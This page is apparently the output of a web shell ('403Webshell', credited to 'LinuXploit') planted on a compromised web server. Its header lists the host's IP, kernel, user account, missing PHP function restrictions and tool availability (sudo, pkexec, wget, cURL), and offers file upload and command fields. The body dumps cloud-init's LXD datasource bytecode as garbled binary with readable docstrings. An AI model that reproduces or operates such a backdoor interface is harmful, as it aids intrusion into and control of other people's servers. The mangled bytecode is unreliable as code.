403Webshell
Server IP : 23.254.227.96  /  Your IP : 216.73.216.7
Web Server : Apache/2.4.62 (Unix) OpenSSL/1.1.1k
System : Linux hwsrv-1277026.hostwindsdns.com 4.18.0-477.13.1.el8_8.x86_64 #1 SMP Tue May 30 14:53:41 EDT 2023 x86_64
User : viralblo ( 1001)
PHP Version : 8.1.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python3.6/site-packages/cloudinit/sources/__pycache__/DataSourceLXD.cpython-36.opt-1.pyc
3

��b9�@szdZddlZddlZddlZddlmZddlZddlmZddl	m
Z
ddlmZddl
mZddl
mZmZmZeje�Zd	Zd
Zddd
ddd
d�Zed�dd�ZGdd�de
�ZGdd�de�ZGdd�de�Zdd�Zeed�dd�Z Gdd�dej!�Z"e#d�dd �Z$ed!fee#ed"�d#d$�Z%e"ej&ffgZ'd%d&�Z(ed'k�rvddl)Z)d(Z*e)j+e*d)�Z,e,j-�e.ej/e%���dS)*a�Datasource for LXD, reads /dev/lxd/sock representaton of instance data.

Notes:
 * This datasource replaces previous NoCloud datasource for LXD.
 * Older LXD images may not have updates for cloud-init so NoCloud may
   still be detected on those images.
 * Detect LXD datasource when /dev/lxd/sock is an active socket file.
 * Info on dev-lxd API: https://linuxcontainers.org/lxd/docs/master/dev-lxd
 * TODO( Hotplug support using websockets API 1.0/events )
�N)�JSONDecodeError)�HTTPAdapter)�HTTPConnection)�HTTPConnectionPool)�log)�sources�subp�utilz
/dev/lxd/sockz1.0z	user-dataznetwork-configzvendor-data)zcloud-init.user-datazcloud-init.network-configzcloud-init.vendor-datazuser.user-datazuser.network-configzuser.vendor-data)�returncCs�dddddd�gd�gd�}tjd	�r�ytjd	g�\}}Wn.tjk
rh}ztjd
|�|Sd}~XnX|j�dkr�tj�d
d}|dkr�d|ddd<n*|dkr�d|ddd<nd|ddd<|S)zCReturn network config V1 dict representing instance network config.�ZphysicalZeth0Zdhcp�auto)�typeZcontrol)r
�nameZsubnets)�version�configzsystemd-detect-virtzHUnable to run systemd-detect-virt: %s. Rendering default network config.NZkvm�uname�Zppc64leZenp0s5rrrZs390xZenc9Zenp5s0)rZwhichZProcessExecutionError�LOG�warning�stripr	Zsystem_info)Z
network_v1Z	virt_type�_�errZarch�r�#/usr/lib/python3.6/DataSourceLXD.py� generate_fallback_network_config4s(
rcs$eZdZ�fdd�Zdd�Z�ZS)�SocketHTTPConnectioncst�jd�||_dS)N�	localhost)�super�__init__�socket_path)�selfr)�	__class__rrrVszSocketHTTPConnection.__init__cCs$tjtjtj�|_|jj|j�dS)N)�socketZAF_UNIXZSOCK_STREAMZsock�connectr)r rrrr#ZszSocketHTTPConnection.connect)�__name__�
__module__�__qualname__rr#�
__classcell__rr)r!rrUsrcs$eZdZ�fdd�Zdd�Z�ZS)�SocketConnectionPoolcs||_t�jd�dS)Nr)rrr)r r)r!rrr`szSocketConnectionPool.__init__cCs
t|j�S)N)rr)r rrr�	_new_conndszSocketConnectionPool._new_conn)r$r%r&rr)r'rr)r!rr(_sr(c@seZdZddd�ZdS)�LXDSocketAdapterNcCstt�S)N)r(�LXD_SOCKET_PATH)r �urlZproxiesrrr�get_connectioniszLXDSocketAdapter.get_connection)N)r$r%r&r-rrrrr*hsr*cCs�d|kr|S|d}d}t|t�s4tj|d|�|Stt|j���dkrZtj|d|�|S|jd�dkrxtj|d|�n&td|kd	|kf�s�tj|d
|�|Stj|d|�|S)aMIf network-config contains top level 'network' key, then remove it.

    Some providers of network configuration may provide a top level
    'network' key (LP: #1798117) even though it is not necessary.

    Be friendly and remove it if it really seems so.

    Return the original value if no change or the updated value if changed.Znetworkz.Top level network key in network-config %s: %szwas not a dictrzhad multiple top level keysrZdisabledzwas config/disabledrz!but missing 'config' or 'version'z#fixed by removing shifting network.)	�
isinstance�dictr�debug�len�list�keys�get�all)ZcfgZnetwork_valZbmsgrrr�_maybe_remove_top_networkms"	
r6)�
metadata_typer
cCs�t|t�r|S|dkriSytj|�}Wn8tk
r`}ztjdj||d��|�WYdd}~XnX|dkr~tjdj||d���|S)a6Convert raw instance data from str, bytes, YAML to dict

    :param metadata_type: string, one of as: meta-data, vendor-data, user-data
        network-config

    :param metadata_value: str, bytes or dict representing or instance-data.

    :raises: InvalidMetaDataError on invalid instance-data content.
    NzAInvalid {md_type}. Expected str, bytes or dict but found: {value})Zmd_type�valuez:Invalid {md_type} format. Expected YAML but found: {value})r.r/r	�	load_yaml�AttributeErrorr�InvalidMetaDataException�format)r7Zmetadata_valueZparsed_metadata�excrrr�_raw_instance_data_to_dict�s 


r>c@sjeZdZdZejZejZdZe	d�dd�Z
e	d�d	d
�Zed�dd�Z
ed�d
d�Zeed�dd��ZdS)�
DataSourceLXDZLXD�
merged_cfg�user.meta-data�user.vendor-data�user.user-data)r
cCst�S)z@Check platform environment to report if this datasource may run.)�is_platform_viable)r rrr�_is_platform_viable�sz!DataSourceLXD._is_platform_viablecCs�|j�stjd�dStjtjdtd�|_td|jjd��|_	|jjdi�}|jdi�}|rftd|�}t
|j	t�s�tjtj
|j	�|g�|_	d|jkr�|jd|_d	|jkr�ttd	|jd	��|_d
|jkr�|jd
|_dS)z=Crawl LXD socket API instance data and return True on successz+Not an LXD datasource: No LXD socket found.FzCrawl of metadata service)Zlogfunc�msg�funcz	meta-datarzuser.meta-dataz	user-dataznetwork-configzvendor-dataT)rErr0r	Zlog_time�
read_metadata�_crawled_metadatar>r4�metadatar.r/Z
mergemanydictr9Zuserdata_rawr6�_network_configZvendordata_raw)r rZ
user_metadatarrr�	_get_data�s4




zDataSourceLXD._get_datacCsdjttd�S)z.Return subplatform details for this datasourcez"LXD socket API v. {ver} ({socket}))Zverr")r<�LXD_SOCKET_API_VERSIONr+)r rrr�_get_subplatform�szDataSourceLXD._get_subplatformcCs@tdd�}|jdi�}t|t�s*tj|�}|jd�|jjd�kS)z%Return True if instance_id unchanged.T)�
metadata_onlyz	meta-datazinstance-id)rHr4r.r/r	r9rJ)r Zsys_cfg�response�mdrrr�check_instance_id�s



zDataSourceLXD.check_instance_idcCs6|jtjkr0|jjd�r(|jjd�|_nt�|_|jS)z�Network config read from LXD socket config/user.network-config.

        If none is present, then we generate fallback configuration.
        znetwork-config)rKr�UNSETrIr4r)r rrr�network_config�s
zDataSourceLXD.network_configN)r@rArBrC)r$r%r&ZdsnamerrSrKrIZsensitive_metadata_keys�boolrErL�strrNrR�propertyr/rTrrrrr?�s$r?cCs"tjjt�rtjtjt�j�SdS)z=Return True when this platform appears to have an LXD socket.F)�os�path�existsr+�stat�S_ISSOCK�lstat�st_moderrrrrD�srDF)�api_versionrOr
cCs�i}d}|d|d}tj����}|j|t��dj|d�}|j|�}tjd|j|�|j	sxt
jdj|j||jd���|j|d<|r�|S|i|dd	�}|d
}|j|�}tjd|j|�|j	s�t
jdj|j||jd���y|j
�}	Wn<tk
�r$}
zt
jdj||jd��|
�WYd
d
}
~
XnXx�t|	�D]�}dj|d�}|j|�}tjd|j|�|j	�r�|jd�d}
|j|d
|
<|
tk�r�t|
|k�r�|j|t|
<ntjd|
|
jddd��ntjd||j|j��q0WWd
QRX|S)a�Fetch metadata from the /dev/lxd/socket routes.

    Perform a number of HTTP GETs on known routes on the devlxd socket API.
    Minimally all containers must respond to http://lxd/1.0/meta-data when
    the LXD configuration setting `security.devlxd` is true.

    When `security.devlxd` is false, no /dev/lxd/socket file exists. This
    datasource will return False from `is_platform_viable` in that case.

    Perform a GET of <LXD_SOCKET_API_VERSION>/config` and walk all `user.*`
    configuration keys, storing all keys and values under a dict key
        LXD_SOCKET_API_VERSION: config {...}.

    In the presence of the following optional user config keys,
    create top level aliases:
      - user.user-data -> user-data
      - user.vendor-data -> vendor-data
      - user.network-config -> network-config

    :return:
        A dict with the following mandatory key: meta-data.
        Optional keys: user-data, vendor-data, network-config, network_mode

        Below <LXD_SOCKET_API_VERSION> is a dict representation of all raw
        configuration keys and values provided to the container surfaced by
        the socket under the /1.0/config/ route.
    z
http://lxd�/z{route}meta-data)�routez[GET] [HTTP:%d] %sz3Invalid HTTP response [{code}] from {route}: {resp})�codera�respz	meta-data)Z_metadata_api_versionrz	meta-datarzSUnable to determine cloud-init config from {route}. Expected JSON but found: {resp})rarcNzhttp://lxd{route}rz,Ignoring LXD config %s in favor of %s value.�userz
cloud-initzSkipping %s on [HTTP:%d]:%s���)�requestsZSessionZmountr*r<r4rr0Zstatus_code�okrr;�textZjsonr�sorted�
rpartition�CONFIG_KEY_ALIASESr�replace)r_rOrQZlxd_urlZversion_urlZsessionZmd_routerPZ
config_urlZ
config_routesr=Zconfig_router,Zcfg_keyrrrrHsp




rHcCstj|t�S)N)rZlist_from_depends�datasources)Zdependsrrr�get_datasource_list}srn�__main__z*Query LXD metadata and emit a JSON object.)�description)0�__doc__rXr"r[Zjson.decoderrrfZrequests.adaptersrZ$requests.packages.urllib3.connectionrZ(requests.packages.urllib3.connectionpoolrZ	cloudinitrZloggingrrr	Z	getLoggerr$rr+rMrkr/rrr(r*r6rVr>Z
DataSourcer?rUrDrHZDEP_FILESYSTEMrmrn�argparserp�ArgumentParser�parser�
parse_args�printZ
json_dumpsrrrr�<module>
sJ
!
	T
u


Youez - 2016 - github.com/yon3zu
LinuXploit